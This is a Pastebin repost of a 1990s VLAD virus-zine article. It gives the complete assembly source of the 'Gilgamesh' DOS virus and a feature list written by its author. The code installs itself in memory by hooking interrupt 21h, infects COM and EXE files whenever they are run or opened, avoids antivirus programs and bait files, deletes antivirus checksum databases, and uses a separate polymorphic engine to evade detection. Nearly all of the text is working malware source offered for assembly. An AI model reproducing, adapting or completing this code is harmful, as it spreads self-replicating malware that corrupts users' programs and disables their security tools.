Advertisement
FlyFar

VLAD Magazine - Issue #6 - ARTICLE.4_2 - Gilgamesh

Jul 6th, 2023
1,545
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 16.29 KB | Cybersecurity | 0 0
  1. ;
  2. ;               Gilgamesh Virus
  3. ;                     by
  4. ;                 Qark [VLAD]
  5. ;
  6. ;
  7. ; Gilgamesh does this stuff:
  8. ;    Infects COM and EXE
  9. ;    Deletes AV checksum files
  10. ;    Contains anti-debugging code
  11. ;    Uses recursive tunneling
  12. ;    Doesn't infect AV programs
  13. ;    Contains anti-bait code -
  14. ;      (I invented these next two ideas I think)
  15. ;      Won't infect files with numerics in the name
  16. ;      Won't infect files/directories with 'vir' as part of the name
  17. ;      Won't infect files with todays date.
  18. ;    Highly polymorphic (Will discuss the engine separately)
  19. ;
  20. ;
  21. ; The DOS interrupt call at the beginning of the virus serves 4 purposes.
  22. ;  1) It does the residency check
  23. ;  2) It gets the DOS segment for the tunneller
  24. ;  3) The return from the int leaves the delta offset on the stack
  25. ;  4) Performs anti-debugging, because debuggers will destroy the stack
  26. ;
  27. ; Gilgamesh is named after the God-Emperor of Mesopotamia.
  28. ;
  29. ; Assemble using a86. It will want an include file 'vipz.asm', which is the
  30. ; next article.
  31.  
  32.  
  33.  
  34.  
  35.  
  36.         org     0
  37.  
  38.         ;Get DOS list of lists & our residency check.
  39.         mov     ax,5253h
  40.         int     21h
  41. our_offset:
  42.         cld
  43.  
  44.         ;Anti-Debugging, Anti-Heuristic way of getting our delta offset.
  45.         mov     bp,sp
  46.         mov     di,[bp-6]
  47.         sub     di,offset our_offset
  48.  
  49.         ;DI = delta offset
  50.         mov     si,di
  51.         cmp     ax,5352h
  52.         jne     not_resident
  53.         push    ds
  54.         pop     es
  55.         jmp     exit_virus
  56. not_resident:
  57.         mov     word ptr [di+loopcount],0
  58.  
  59.         mov     word ptr [di+dosseg],es
  60.  
  61.         push    ds
  62.         pop     es
  63.  
  64.         ;0008:0004 is the int21 vector address.
  65.         mov     ax,8
  66.         mov     ds,ax
  67.         mov     si,4
  68.  
  69.         ;Save int 21 address incase we can't find it.
  70.         mov     ax,word ptr [si]
  71.         mov     word ptr cs:[di+adr21],ax
  72.         mov     ax,word ptr [si+2]
  73.         mov     word ptr cs:[di+adr21+2],ax
  74.  
  75.         ;Recursive Tunneler.
  76.         ;
  77.         ;The loop below traces through the int 21 code looking for the
  78.         ;original handler.
  79.  
  80. get32ptr:
  81.         ;DS:SI points to int 21h
  82.         lds     si,ds:[si]
  83.         mov     ax,ds
  84.         cmp     ax,word ptr cs:[di+dosseg]
  85.         je      founddos
  86. next_opcode:
  87.         lodsb
  88.  
  89.         cmp     al,0eah                 ;JMP FAR PTR
  90.         je      get32ptr
  91.         cmp     al,9ah                  ;CALL FAR PTR
  92.         je      get32ptr
  93.  
  94.         inc     word ptr cs:[di+loopcount]
  95.         cmp     word ptr cs:[di+loopcount],1000
  96.         je      nodos
  97.         jmp     next_opcode
  98.  
  99. founddos:
  100.         mov     word ptr cs:[di+adr21],si
  101.         mov     word ptr cs:[di+adr21+2],ds
  102. nodos:
  103.         mov     si,di
  104.         xor     di,di
  105.  
  106.         ;Get MCB seg.
  107.         mov     ax,es
  108.         dec     ax
  109.         mov     ds,ax
  110.  
  111.         ;'Z' MCB.
  112.         cmp     byte ptr [di],'Y'
  113.         jb      exit_virus
  114.         sub     word ptr [di+12h],((offset virus_size/10h)+1)*3
  115.         sub     word ptr [di+3],((offset virus_size/10h)+1)*3
  116.         mov     ax,word ptr [di+12h]
  117.         push    es
  118.         mov     es,ax
  119.  
  120.         push    cs
  121.         pop     ds
  122.        
  123.         push    si
  124.  
  125.         mov     cx,offset virus_size
  126.         rep     movsb
  127.  
  128.         ;Set int 21.
  129.         mov     ds,cx
  130.         mov     si,21h*4
  131.         mov     di,offset i21
  132.         movsw
  133.         movsw
  134.  
  135.         mov     word ptr [si-4],offset int21handler
  136.         mov     word ptr [si-2],es
  137.  
  138.         pop     si
  139.         pop     es
  140.  
  141. exit_virus:
  142.         push    es
  143.         pop     ds
  144.  
  145.         ;If CS != SS then it must be EXE.
  146.         mov     ax,cs
  147.         mov     bx,ss
  148.        
  149.         cmp     ax,bx
  150.         jne     exe_exit
  151.  
  152. com_exit:
  153.         mov     di,100h-2
  154.         scasw
  155.         push    di
  156.         mov     ax,1111h
  157.         org     $-2
  158. first2  dw      20cdh
  159.         stosw
  160.         mov     ax,1111h
  161.         org     $-2
  162. third   dw      90h
  163.         stosw
  164.  
  165. zero_regs:
  166.         xor     ax,ax
  167.         xor     bx,bx
  168.         xor     cx,cx
  169.         xor     dx,dx
  170.         xor     si,si
  171.         xor     di,di
  172.  
  173.         ret
  174.  
  175. exe_exit:
  176.  
  177.         mov     ax,ds
  178.         add     ax,10h
  179.         add     word ptr cs:[si+offset exe_return+2],ax
  180.  
  181.         call    zero_regs
  182.  
  183.         mov     ax,ds
  184.         add     ax,10h
  185.        
  186.         add     ax,0
  187.         org     $-2
  188. orig_ss dw      0
  189.         mov     ss,ax
  190.  
  191.         mov     sp,0
  192.         org     $-2
  193. orig_sp dw      0
  194.  
  195.         jmp     short $+2
  196.         xor     ax,ax
  197.        
  198.         db      0eah            ;JMP FAR PTR
  199. exe_return      dd      0
  200.  
  201. sig     db      ' =Gilgamesh= by Qark - A VLAD Australia Production'
  202.  
  203. Int21handler:
  204.         cmp     ax,5253h
  205.         jne     not_res_chk
  206.         xchg    ah,al
  207.         iret
  208. not_res_chk:
  209.         pushf
  210.         push    ax
  211.         xchg    ah,al
  212.         cmp     al,4bh
  213.         je      check_infect
  214.         cmp     al,6ch
  215.         je      check_infect
  216.         cmp     al,3dh
  217.         je      check_infect
  218. exit_handler:
  219.         pop     ax
  220.         popf
  221.         db      0eah
  222. i21     dd      0
  223.  
  224. check_infect:
  225.         push    bx
  226.         push    cx
  227.         push    dx
  228.         push    si
  229.         push    di
  230.         push    ds
  231.         push    es
  232.  
  233.         cmp     al,6ch
  234.         jne     no_fix_6c
  235.         mov     dx,si
  236. no_fix_6c:
  237.  
  238.         ;Get fully qualified filename.
  239.         mov     si,dx
  240.         mov     di,offset filename
  241.         push    cs
  242.         pop     es
  243.         mov     ah,60h
  244.         call    int21h
  245.  
  246.         push    cs
  247.         pop     ds
  248.  
  249.         cld
  250.  
  251.         ;Calculate the length of the name string.
  252.         mov     di,offset filename
  253.         mov     al,0
  254.         mov     cx,129
  255.         repne   scasb
  256.  
  257.         sub     di,offset filename
  258.         mov     word ptr namelength,di
  259.  
  260.         mov     bx,'RI'
  261.  
  262.         ;Search for the string, VIR
  263.         mov     al,'V'
  264.         mov     cx,word ptr namelength
  265. next_letter:
  266.         mov     di,offset filename
  267.         repne   scasb
  268.  
  269.         jne     no_letter_found
  270.  
  271.         cmp     word ptr [di],bx
  272.         jne     next_letter
  273. no_inf_jmp:
  274.         jmp     no_infection
  275.  
  276. no_letter_found:
  277.  
  278.         mov     di,offset filename
  279.         add     di,word ptr namelength
  280.  
  281.         sub     di,4
  282.  
  283.         cmp     word ptr [di],'XE'
  284.         jne     trycom
  285.         cmp     byte ptr [di+2],'E'
  286.         jne     no_inf_jmp
  287.         jmp     short found_exe
  288. trycom:
  289.         cmp     word ptr [di],'OC'
  290.         jne     no_inf_jmp
  291.         cmp     byte ptr [di+2],'M'
  292.         jne     no_inf_jmp
  293. found_exe:        
  294.         mov     al,'\'
  295.         std
  296.         mov     cx,14
  297.         repne   scasb
  298.  
  299.         inc     di
  300.         inc     di
  301.  
  302.         cld
  303.  
  304.         mov     ax,word ptr [di]
  305.         cmp     ax,'CS'         ;SCan, SCandisk
  306.         je      no_inf_jmp2
  307.         cmp     ax,'BT'         ;TBscan, TBclean etc
  308.         je      no_inf_jmp2
  309.         cmp     ax,'-F'         ;F-prot
  310.         je      no_inf_jmp2
  311.         cmp     ax,'UG'         ;GUard (solomans)
  312.         je      no_inf_jmp2
  313.         cmp     ax,'VA'         ;AVp
  314.         je      no_inf_jmp2
  315.         cmp     ax,'VD'         ;DV
  316.         je      no_inf_jmp2
  317.         cmp     ax,'HC'         ;CHkxxx
  318.         je      no_inf_jmp2
  319.         cmp     ax,'RP'         ;PRogman.exe
  320.         je      no_inf_jmp2
  321.  
  322. ;Now make sure there are no numerics in the filename.
  323.         mov     si,di
  324. oknumeral:
  325.         lodsb
  326.  
  327.         cmp     al,'.'
  328.         je      done_name
  329.         cmp     al,'0'
  330.         jb      oknumeral
  331.         cmp     al,'9'
  332.         ja      oknumeral
  333. no_inf_jmp2:
  334.         jmp     no_infection
  335. done_name:
  336.         ;Remove readonly attribute.
  337.         mov     ax,143h
  338.         mov     dx,offset filename
  339.         xor     cx,cx
  340.         call    altint21h
  341.         jc      no_inf_jmp2
  342.        
  343.         ;Open file.
  344.         mov     ax,3d02h
  345.         call    int21h
  346.         jc      no_inf_jmp2
  347.  
  348.         ;File handle into BX
  349.         xchg    bx,ax
  350.  
  351.         ;Get date and time
  352.         mov     ah,2ah
  353.         call    int21h
  354.  
  355.         ;Convert into file date format
  356.         xchg    cx,ax
  357.         sub     ax,1980
  358.         mov     cl,4
  359.         shl     ax,cl
  360.         or      al,dh
  361.         mov     cl,5
  362.         shl     ax,cl
  363.         or      al,dl
  364.  
  365.         ;If file date = todays date, then don't infect.
  366.         push    ax
  367.         mov     ax,5700h
  368.         call    int21h
  369.         pop     cx
  370.         cmp     cx,dx
  371.         jne     save_time
  372. bad_time:
  373.         jmp     com_close_quit
  374. save_time:
  375.         mov     ax,5700h
  376.         call    int21h
  377.         mov     word ptr time,cx
  378.         mov     word ptr date,dx
  379.  
  380.         mov     ah,3fh
  381.         mov     dx,offset readbuffer
  382.         mov     cx,100
  383.         call    int21h
  384.         jc      bad_time
  385.  
  386.         mov     si,offset readbuffer
  387.  
  388.         ;Check for an EXE header.
  389.         mov     ax,word ptr [si]
  390.         or      ax,2020h                ;Convert 2 lower-case, anti-heuristic
  391.         cmp     ax,'zm'
  392.         je      exe_header
  393.         cmp     ax,'mz'
  394.         je      exe_header
  395.  
  396.         ;Save the first 3 bytes.
  397.         lodsw        
  398.         mov     word ptr first2,ax
  399.         lodsw
  400.         mov     word ptr third,ax
  401.  
  402.         cmp     ah,'V'
  403.         je      bad_time
  404.        
  405.         ;Lseek to the end.
  406.         call    lseek_end
  407.  
  408.         ;Check the file size.
  409.         or      dx,dx
  410.         jnz     com_close_quit
  411.         cmp     ax,2000
  412.         jb      com_close_quit
  413.         cmp     ax,60000
  414.         ja      com_close_quit
  415.  
  416.         push    ax
  417.         add     ax,100h
  418.         mov     word ptr delta,ax
  419.         pop     ax
  420.  
  421.         ;Calculate the jump offset.
  422.         sub     ax,3
  423.         mov     word ptr new3+1,ax
  424.  
  425.         mov     al,1
  426.  
  427.         call    setup_poly
  428.  
  429.         ;Write the virus.
  430.         mov     al,40h
  431.         mov     dx,offset stackend
  432.         call    altint21h
  433.         jc      com_close_quit
  434.  
  435.         ;Lseek to the start.
  436.         call    lseek_start
  437.  
  438.         ;Write the jump.
  439.         mov     al,40h
  440.         mov     cx,4
  441.         mov     dx,offset new3
  442.         call    altint21h
  443.  
  444.         call    chksum_files
  445. time_close:
  446.         ;Restore time.
  447.         mov     ax,157h
  448.         mov     cx,word ptr time
  449.         mov     dx,word ptr date
  450.         call    altint21h
  451.        
  452. com_close_quit:
  453.         jmp     close_quit
  454.  
  455. exe_header:
  456.         cmp     word ptr [si+1ah],0             ;Overlays.
  457.         jne     com_close_quit
  458.         cmp     word ptr [si+18h],40h           ;NewEXE
  459.         jae     com_close_quit
  460.         cmp     word ptr [si+0ch],0ffffh        ;Maxmem
  461.         jne     com_close_quit
  462.         cmp     word ptr [si+12h],0             ;Infected ?
  463.         jne     com_close_quit
  464.  
  465.         mov     ax,word ptr [si+0eh]
  466.         mov     word ptr orig_ss,ax
  467.         mov     ax,word ptr [si+10h]
  468.         mov     word ptr orig_sp,ax             ;Saved the SS:SP
  469.  
  470.         push    si
  471.         add     si,14h
  472.         mov     di,offset exe_return
  473.         movsw
  474.         movsw                           ;Saved the CS:IP
  475.         pop     si
  476.  
  477.         call    lseek_end
  478.  
  479.         ;Check for overlays.
  480.         push    dx
  481.         push    ax
  482.         mov     cx,512
  483.         div     cx
  484.         inc     ax
  485.         cmp     word ptr [si+4],ax
  486.         pop     ax
  487.         pop     dx
  488.         ja      com_close_quit
  489.  
  490.         cmp     dx,7
  491.         ja      com_close_quit
  492.         or      dx,dx
  493.         jnz     no_small_check
  494.         cmp     ax,5000
  495.         jb      com_close_quit
  496. no_small_check:
  497.         mov     cx,16
  498.         div     cx
  499.  
  500.         sub     ax,word ptr [si+8]
  501.  
  502.         mov     word ptr [si+14h],dx
  503.         mov     word ptr [si+16h],ax
  504.  
  505.         mov     word ptr delta,dx
  506.  
  507.         add     dx,offset stackend-16
  508.         and     dx,0fffeh
  509.         inc     ax
  510.  
  511.         mov     word ptr [si+0eh],ax
  512.         mov     word ptr [si+10h],dx
  513.  
  514.         mov     al,0
  515.         call    setup_poly
  516.  
  517.         mov     al,40h
  518.         mov     dx,offset stackend
  519.         call    altint21h
  520.         jc      close_quit
  521.  
  522.         call    lseek_end
  523.  
  524.         mov     cx,512
  525.         div     cx
  526.  
  527.         or      dx,dx
  528.         jz      no_page_fix
  529.         inc     ax
  530. no_page_fix:
  531.         mov     word ptr [si+4],ax
  532.         mov     word ptr [si+2],dx
  533. zero_ax:
  534.         in      ax,40h
  535.         or      ax,ax
  536.         jz      zero_ax
  537.         mov     word ptr [si+12h],ax
  538.  
  539.         call    lseek_start
  540.  
  541.         mov     al,40h
  542.         mov     cx,1ch
  543.         mov     dx,si
  544.         call    altint21h
  545.  
  546.         call    chksum_files
  547.  
  548.         jmp     time_close
  549.  
  550. close_quit:
  551.         ;Close file.
  552.         mov     ah,3eh
  553.         call    int21h
  554.  
  555. no_infection:
  556.  
  557.         pop     es
  558.         pop     ds
  559.         pop     di
  560.         pop     si
  561.         pop     dx
  562.         pop     cx
  563.         pop     bx
  564.         jmp     exit_handler
  565.  
  566. ;���������������������������������������������������������������
  567. altint21h:
  568.         xchg    ah,al           ;Backwards int 21
  569. int21h:
  570.         pushf
  571.         db      9ah
  572. adr21   dd      0
  573.         ret
  574. ;���������������������������������������������������������������
  575. lseek_start:
  576.         mov     al,0
  577.         jmp     short lseek
  578. lseek_end:
  579.         mov     al,2
  580. lseek:
  581.         mov     ah,42h
  582.         xor     cx,cx
  583.         cwd
  584.         call    int21h
  585.         ret
  586. ;���������������������������������������������������������������
  587. chksum_files:                   ;Deletes AV checksum files.
  588.         push    ax
  589.         push    cx
  590.         push    dx
  591.         push    si
  592.         push    di
  593.        
  594.         mov     di,offset filename
  595.         add     di,word ptr namelength
  596.        
  597.         ;Find \
  598.         std
  599.         mov     al,'\'
  600.         mov     cx,16
  601.         repne   scasb
  602.         cld
  603.         scasw                           ;ADD DI,2
  604.  
  605.         mov     si,offset crc_files
  606. outer_crc:
  607.         push    di
  608. crc_loop:
  609.         movsb
  610.         cmp     byte ptr [si-1],0
  611.         jne     crc_loop
  612.         mov     ah,41h                  ;Delete file
  613.         mov     dx,offset filename
  614.         call    int21h
  615.         pop     di
  616.         cmp     si,offset end_crc
  617.         jb      outer_crc
  618.         pop     di
  619.         pop     si
  620.         pop     dx
  621.         pop     cx
  622.         pop     ax
  623.         ret
  624.  
  625. crc_files       db      'ANTI-VIR.DAT',0
  626.                 db      'CHKLIST.CPS',0
  627.                 db      'CHKLIST.MS',0
  628.                 db      'CHKLIST.TAV',0
  629.                 db      'SMARTCHK.CPS',0
  630.                 db      'AVP.CRC',0
  631.                 db      'IVB.NTZ',0
  632. end_crc:
  633. ;���������������������������������������������������������������
  634. Setup_poly:
  635. ;AL=1 if com file.
  636. ;Returns CX=size to write plus stuff in stackend
  637.         push    ax
  638.         push    bx
  639.         push    dx
  640.         push    bp
  641.         push    si
  642.         push    di
  643.  
  644.         xor     si,si
  645.         mov     di,offset stackend
  646.         mov     cx,offset virus_size
  647.         mov     bp,word ptr delta
  648.         call    vip
  649.  
  650.         pop     di
  651.         pop     si
  652.         pop     bp
  653.         pop     dx
  654.         pop     bx
  655.         pop     ax
  656.         ret
  657.  
  658. ;���������������������������������������������������������������
  659. include vipz.asm
  660. ;���������������������������������������������������������������
  661. new3    db      0e9h,0,0,'V'
  662.  
  663. delta   dw      0
  664.  
  665. time    dw      0
  666. date    dw      0
  667.  
  668. loopcount       dw      0
  669. dosseg          dw      0
  670.  
  671. virus_size:
  672. namelength      dw      0
  673. filename        db      128 dup (0)
  674. readbuffer      db      128 dup (0)
  675.                 db      (offset virus_size - ($-offset virus_size)) dup (0)
  676. stackend:
Tags: virus vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement